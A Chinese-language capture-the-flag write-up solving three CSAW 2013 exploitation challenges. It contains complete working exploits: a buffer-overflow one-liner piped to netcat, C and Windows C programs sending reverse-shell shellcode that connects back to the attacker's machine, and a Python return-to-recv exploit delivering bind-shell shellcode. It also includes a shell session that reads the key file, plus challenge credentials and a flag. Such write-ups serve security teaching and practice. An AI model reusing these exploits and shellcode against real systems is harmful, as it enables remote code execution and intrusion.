Exploition 100
第一個很簡單,給出了源碼,如下:
[snip]
void handle(int newsock) {
int backdoor = 0;
char buffer[1016];
memset(buffer, 0, 1016);
send(newsock, "Welcome to CSAW CTF.", 21, 0);
recv(newsock, buffer, 1020, 0);
buffer[1015] = 0;
if ( backdoor ) {
fd = fopen("./key", "r");
fscanf(fd, "%s\n", buffer);
send(newsock, buffer, 512, 0);
}
close(newsock);
}
[snip]
當backdoor不爲0時,服務器會將key中的值send回來。直接提交1020個'A',覆蓋backdoor,使其爲真,就能得到key了。
python -c "print 'A'*1020"|nc 128.238.66.212 31337
Exploition 200
給了一個exploit2的文件,拖到IDA裏看一下。
關鍵在handle()這個函數裏,如下
int __cdecl handle(int fd)
{
int result; // eax@1
unsigned int v2; // eax@1
char buf[2048]; // [sp+1Ch] [bp-80Ch]@1
char v4; // [sp+81Bh] [bp-Dh]@1
int v5; // [sp+81Ch] [bp-Ch]@1
v5 = 0;
memset(buf, 0, sizeof(buf));
v2 = time(0);
srand(v2);
secret = rand();
v5 = secret;
*(_DWORD *)buf = buf; // 將buf的地址賦給buf的前四個字節
send(fd, buf, 4u, 0); // 發送buf地址
send(fd, &v5, 4u, 0); // 發送v5內容
send(
fd,
"Welcome to CSAW CTF. Exploitation 2 will be a little harder this year. Insert your exploit here:",
0x63u,
0);
recv(fd, buf, 0x1000u, 0);
v4 = 0;
result = secret;
if ( v5 != secret )
{
close(fd);
exit(0);
}
return result;
}
函數返回之前,會檢查v5是否和secret相等,不相等就直接退出,不返回,類似於Windows防禦溢出中的GS技術。所以覆蓋返回地址時,要在指定的位置寫入secret的值。
這個值服務器已經發給了我們,而且連buf地址也發了過來,這樣就不用找jmp esp的跳板,直接將返回地址覆蓋爲buf地址。函數返回時,就會跳到buf處執行。我們的數據包佈局如下:
shellcode <-- buf起始地址
0x90填充
secret <-- v5的位置
0x90909090*3
RetAddr <-- 返回地址,覆蓋爲buf起始地址
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
// TESTIP = 192.168.28.1
#define TESTIP "\xc0\xa8\x1c\x01"
// PORT = 31337
#define PORT "\x7a\x69"
#define TARGET "128.238.66.212"
unsigned char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
TESTIP"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
int main()
{
struct sockaddr_in addr;
int fd;
char welcome[99];
unsigned char buf[2068];
for (int i = 0; i < 92; ++i)
buf[i] = shellcode[i];
addr.sin_family = AF_INET;
addr.sin_port = htons(31338);
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("[-] Create socket error.\n");
exit(0);
}
printf("[+] Create socket success.\n");
if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
{
printf("[-] Connect error.\n");
exit(0);
}
printf("[+] Connect success.\n");
recv(fd, buf+2064, 4, 0);
recv(fd, buf+2048, 4, 0);
recv(fd, welcome, 99, 0);
printf("%s\n", welcome);
send(fd, buf, 2068, 0);
close(fd);
return(0);
}
執行之後就會彈回一個shell。
nc -l -vv -p 31337
whoami
csaw
ls
exploit2
exploit2.c
key
cat key
flag{53666e040caa855a9b27194c82a26366}
Exploition 300
題目給了一個fil_chal,下載下來在本機執行,nc 127.0.0.1 34266,回顯
************* $$$$$$$$$ AAAAAAA ***** *****
* ******* * $ $$ $$ A A * * * *
* * *** $ $ $$ A A A A * * * *
* * $ $ A A___A A * * * *
* * $ $ A A * * **** * *
* * $ $ A AAA A * * * * * *
* * *** $ $ A A A A * *** *** *
* ******** * $$$$$$ $ A A A A * *
************* $$$$$$$$$$ AAAAAA AAAAAA *************
Dairy
UserName:
拖到IDA裏,在sub_8049156裏,可以看到
然後就可以找到正確的username和password
.rodata:08049A4F aCsaw2013 db 'csaw2013',0
.rodata:08049A58 aS1mplepwd db 'S1mplePWD',0
校檢賬號密碼後,會調用sub_8048E52,在這裏,程序會讀取用戶輸入的一個數字。
然後到sub_8048EFE,會進行一個比較
n = a2; // 這個就是我們輸入的數字
if ( (unsigned int)(a2 + 1) <= 0x400 )
{
v7 = recv(fd, &buf, n, 0); // 讀取我們發送的數據
...
}
else
{
fprintf(stderr, "%s\n", "Invalid Length");
}
由於buf申請了0x400的空間,所以我們需要利用整數溢出繞過
(unsigned int)(a2 + 1) <= 0x400
這個限制。
0xffff = 65535; 0xffff+1 = 0 <= 0x400
在前面輸入長度的時候,輸入65535就可以繞過這個限制。
但是這題沒有給出buf的起始地址,如何跳轉到shellcode成爲問題的關鍵。
嘗試尋找jmp esp等跳板無果後,我們決定開大招了!
將shellcode佈置在buf的尾部,然後從後往前遍歷棧地址,每次遞減1024個字節。類似於Heap Spray,每次循環時的返回地址有可能剛好落在shellcode前面的0x90中。
#include <Winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
#define IPADDR "\x77\x76\xe7\xb4"
#define PORT "\x82\x35"
unsigned char username[]="csaw2013";
unsigned char password[]="S1mplePWD";
unsigned char enterinfo[]="65535";
unsigned int tryshellcode;
unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";
//初始化Socket
int InitSocket()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(2, 2);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0) {
printf("WSAStartup failed with error: %d\n", err);
return 1;
}
if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
printf("Could not find a usable version of Winsock.dll\n");
WSACleanup();
return 1;
}
return 0;
}
void main()
{
int *se;
unsigned int iii;
SOCKADDR_IN addr;
SOCKET s;
unsigned int secret;
unsigned int stack;
char buf[0x3000];
InitSocket();
for(iii=0xffffff;iii>=0;iii-=908)
{
memset(buf,0,0x3000);
s=socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET)
{
printf("socket INVALID_SOCKET!\n");
getchar();
getchar();
return;
}
addr.sin_addr.S_un.S_addr=inet_addr("128.238.66.217");//128.238.66.212
addr.sin_family=AF_INET;
addr.sin_port=htons(34266);
if(SOCKET_ERROR==connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR)))
{
printf("connect Error!\n");
getchar();
getchar();
return;
}
memset(buf,0,0x3000);
recv(s,buf,0x3000,0);
// printf("->: %s\n",buf);
memset(buf,0,0x3000);
recv(s,buf,0x3000,0);
// printf("->: %s\n",buf);
memset(buf,0,0x3000);
strcpy(buf,username);
send(s,buf,strlen(buf)+1,0);
memset(buf,0,0x3000);
recv(s,buf,0x3000,0);
// printf("->: %s\n",buf);//show password
memset(buf,0,0x3000);
strcpy(buf,password);
send(s,buf,strlen(buf)+1,0);
memset(buf,0,0x3000);
recv(s,buf,0x3000,0);
// printf("->: %s\n",buf);//Login?
memset(buf,0,0x3000);
recv(s,buf,0x3000,0);
// printf("->: %s\n",buf);//enter info
memset(buf,0,0x3000);
strcpy(buf,enterinfo);
send(s,buf,strlen(buf)+1,0);
/// Sleep(100);
memset(buf,0x90,0x3000);
strcpy(buf+0x3e8-92,code);
tryshellcode=(unsigned int)0xbf000000+iii;
*((unsigned int*)(buf+0x420))=tryshellcode;
printf("tryshellcode=%x\n",tryshellcode);
// getchar();
send(s,buf,0x424,0);
// Sleep(100);
closesocket(s);
}
WSACleanup();
}
等待彈回shell後,中止程序。
然後成功了!得到flag,300分~
但是,這個解決方式不太優雅,下面介紹來自國外隊伍Stratum 0的解決方法。
查看fil_chal的內存空間可以看到,0804b000-0804c000這一段地址空間是可讀可寫可執行的。
將返回地址覆蓋爲recv()函數的地址,然後佈置棧,接收數據並存儲在0804b000。從recv返回後,跳到0804b000處執行即可。
recv的地址爲0x08048890,它需要4個參數,fd,buf,len,flag。其中buf設置爲0x0804b000,len設置爲shellcode的長度,flag設置爲0。
關鍵就在於fd。之前我們也曾考慮過這種方式,但是當時認爲fd不可預測,所以就沒有嘗試。
然而,在linux系統中,fd是可以預測的。
在linux系統中,socket也被認爲是一種特殊的文件,也是用文件描述符(file descriptor)表示。
linux進程初始化時,就會有3個fd被佔用,分別是
0,標準輸入stdin
1,標準輸出stdout
2,標準錯誤流stderr
在此之後打開的文件描述符會遞增。因此,當fil_chal進程執行是,打開第一個fd用於建立服務器,bind端口後監聽。當有客戶端連接時,會再打開一個fd,然後fork一個子進程去處理這個連接。這個過程大致如下
fd = socket();
bind(fd);
listen(fd);
newfd = accept(fd);
if ((pid = fork()) == 0)
{ // 子進程
close(fd);
handle(newfd);
close(newfd);
exit(0);
}
else if (pid > 0)
{ // 父進程
close(newfd);
}
由於子進程是父進程的副本,它會繼承父進程的進程環境,newfd的值就應該是4,這個fd也就是和客戶端通信的fd。
於是recv()函數的fd設置爲4。最後的內存佈局爲
buf
junk
RetAddr <-- 0x08048890 recv()
0x0804b000 <-- recv執行完畢,ret時esp會指向這裏
0x00000004 fd
0x0804b000 buf
len(shellcode) len
0x00000000 flags
最終的利用代碼如下
#!/usr/bin/env python
#coding=utf-8
import socket
import struct
local = True
// shellcode功能:開啓4444端口,等待連接
SHELLCODE = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" +\
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" +\
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" +\
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" +\
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" +\
"\x0b\xcd\x80"
def pack(addr):
return struct.pack("<I", addr)
def unpack(s):
return struct.pack("<I",s)[0]
if local:
host = "localhost"
else:
host = "128.238.66.217"
port = 34266
recv_plt = 0x8048890
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((host, port))
s.recv(1024)
s.recv(1024)
s.send("csaw2013\n")
s.recv(1024)
s.send("S1mplePWD\n")
s.recv(1024)
s.recv(1024)
s.send("-1\n")
raw_input("--")
writable_addr = 0x804b800
ebp = pack(writable_addr)
eip = pack(recv_plt)
next_eip = pack(0x804b000)
params = pack(4)
params += pack(0x804b000)
params += pack(len(SHELLCODE))
params += pack(0)
s.send("A"*0x41c+ebp+eip+next_eip+params)
raw_input("--")
s.send(SHELLCODE)